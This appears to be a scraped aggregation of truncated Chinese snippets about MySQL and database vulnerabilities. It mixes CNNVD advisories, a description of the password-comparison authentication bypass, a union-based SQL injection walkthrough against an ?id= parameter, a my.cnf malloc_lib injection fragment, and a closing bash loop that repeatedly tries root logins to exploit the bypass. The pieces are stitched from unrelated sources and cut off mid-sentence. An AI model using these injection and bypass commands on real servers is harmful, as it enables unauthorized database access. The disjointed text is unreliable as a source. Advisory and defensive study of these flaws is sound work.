漏洞名称：Oracle MySQL Server 安全漏洞CNNVD编号：CNNVD-201401-317发布时间：2014-01-22更新时间：2014-01-22危害等级：中危 漏洞类型： 威胁类型：远程CVE编号：CVE-2013-5882MySQL Server是美国甲骨文（Oracle）公司的一套开源的关系数据库管理系统。该数据库系统具有性能高、成本低、可靠性好等特点。 Oracle MySQL 5.6.13及之前的版本的MySQL Server组件中的Stored Procedures子组件存在安全漏洞。远程攻击者可利用...
当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。 受影响的产品： All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. MariaDB versions from 5.1.62, 5.2.12...
漏洞名称：Oracle MySQL Server 拒绝服务漏洞CNNVD编号：CNNVD-201401-316发布时间：2014-01-22更新时间：2014-01-22危害等级：中危 漏洞类型： 威胁类型：远程CVE编号：CVE-2013-5881MySQL Server是美国甲骨文（Oracle）公司的一套开源的关系数据库管理系统。该数据库系统具有性能高、成本低、可靠性好等特点。 Oracle MySQL 5.6.14及之前版本的MySQL Server组件中的InnoDB子组件存在拒绝服务漏洞。远程攻击者可利用该漏...
受影响系统：MySQL AB MySQL <= 5.1.10描述：MySQL是一款使用非常广泛的开放源代码关系数据库系统，拥有各种平台的运行版本。在MySQL上，拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。此外，由于在错误的安全环境中计算了suid例程的参数，攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用...
近日SAP的开发者修正了一个存在SAP MaxDB数据库中的严重漏洞，该漏洞可以被黑客利用来执行恶意代码。来自赛门铁克的研究人员Olive Karow发现了这个数据库漏洞。该漏洞在最新版本MaxDB 7.6.00.31中被修补。根据赛门铁克发布的报告，“通过发送一个变形的HTTP请求，攻击者可以获得wahttp进程的权限，从而执行恶意代码。不需要认证就可以成功的利用该漏洞。”根据赛门铁克的报告，有一个临时性的解决办法，MaxDB客户可以禁用SAP-DB的W...
SQL Injection with MySQL
本文作者：angel
文章性质：原创
发布日期：2004-09-16
本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。声明
本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有...
WinMySQLadmin 1.1 以明文形式存放 Mysql 密码漏洞文章来源： 涉及程序： WinMySQLadmin 详细： WinMySQLadmin 是一个 Mysql 管理软件，发现它以明文形式存放 Mysql 密码于 c:winntmy.ini 文件中。------#This File was made using the WinMySQLadmin 1.1 Tool[mysqld]basedir=C:/mysqldatadir=C:/mysql/data[WinMySQLadmin]Server=C:/mysql/bin/mysqld-nt.exeuser=adminpassword=XXXXX (in clear text)QueryInterval=30...
PHP 5 Version 5.4.4 发布+11楼 mysql、windows远程连接严重漏洞http://www.php.com/ChangeLog-5.php06-June-2012DES算法Crypt实现中的一个漏洞phar扩展中的一个堆溢出问题CLI SAPIImplemented FR #61977 (Need CLI web-server support for files with .htm & svg extensions)Improved performance while sending error page, this also fixed bug Fixed bug #61785 (Memory leak when access a non-exists file without router)Fi...
***********************非查询操作*****************************************///今天太晚了，先写个非查询操作的，明天在写查询操作的。/****函数*****//// <summary>/// 增删改数据，返回影响行数，没有则返回-1/// </summary>/// <param name="sql">sql语句</param>/// <param name="ps">参数</param>/// <returns>返回影响行数</returns>static string connStr ="server=IP;User Id=账号名;password=密码;Database=表名"；pub...
/etc/my.cnf Global options/etc/mysql/my.cnfGlobal optionsSYSCONFDIR/my.cnfGlobal options$MYSQL_HOME/my.cnfServer-specific optionsdefaults-extra-fileThe file specified with --defaults-extra-file=file_name, if any~/.my.cnfUser-specific options
我们通过覆写/etc/my.cnf注入malloc_lib=路径选项，命令如下：
----[ /usr/bin/mysqld_safe ]----[...]# set_malloc_lib LIB# - If LIB is empty, do nothing and...
运维漏洞-Jenkins-MySQL标签：mic jenkin http inf img alt mysql 运维 mysq 本文系统来源：https://blog.51cto.com/10945453/2396026
厂商补丁：Oracle------Oracle已经为此发布了一个安全公告（cpuoct2012-1515893）以及相应补丁:cpuoct2012-1515893：Oracle Critical Patch Update Advisory - October 2012链接：http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.htmlOracle MySQL Server组件Protocol子组件远程漏洞(CVE-2012-3158)标签：cal span html date mysql协议 开发 hit 数据 www. 本文系统来源：https://www.cn...
厂商补丁：Oracle------Oracle已经为此发布了一个安全公告（cpuoct2012-1515893）以及相应补丁:cpuoct2012-1515893：Oracle Critical Patch Update Advisory - October 2012链接：http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.htmlOracle MySQL Server组件Information Schema子组件远程漏洞(CVE-2012-3163)标签：form patch info 通过 收购 数据库管理 orm 管理系 -- 本文系统来源：h...
原文引用https://www.dazhuanlan.com/2019/08/25/5d62593d1d0a1/访问网页，进入登陆下方的滚动公告，进行测试注入点?id=1 and 1=1返回正常，?id=1 and 1=2 返回错误，说明有注入点。?id=1 order by 5查询列数。一直减少，直到页面返回正常?id=1 and 1=2 union select 1,version(),database(),4查询版本和数据库名称（此时知道数据库为mozhe_Discuz_StormGroup） ?id=1 and 1=2 union select 1,schema_name,3,4 from information_sc...
[mysqld] #服务端配置
local-infle = 1
[mysql] #客户端配置
local-infile = 1
否则，mysql服务会提示错误:
ERROR 1148 (42000): The used command is not allowed with this MySQL version.
-------------------------------
另外，如果使用了python来运行的话，应该这样连接：
conn = MySQLdb.connect(host=host_str , user=user_str , passwd=pwd_str , db=db_str , local_infile=1,charset=char...
bitsCN.com
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; donemysql>bitsCN.com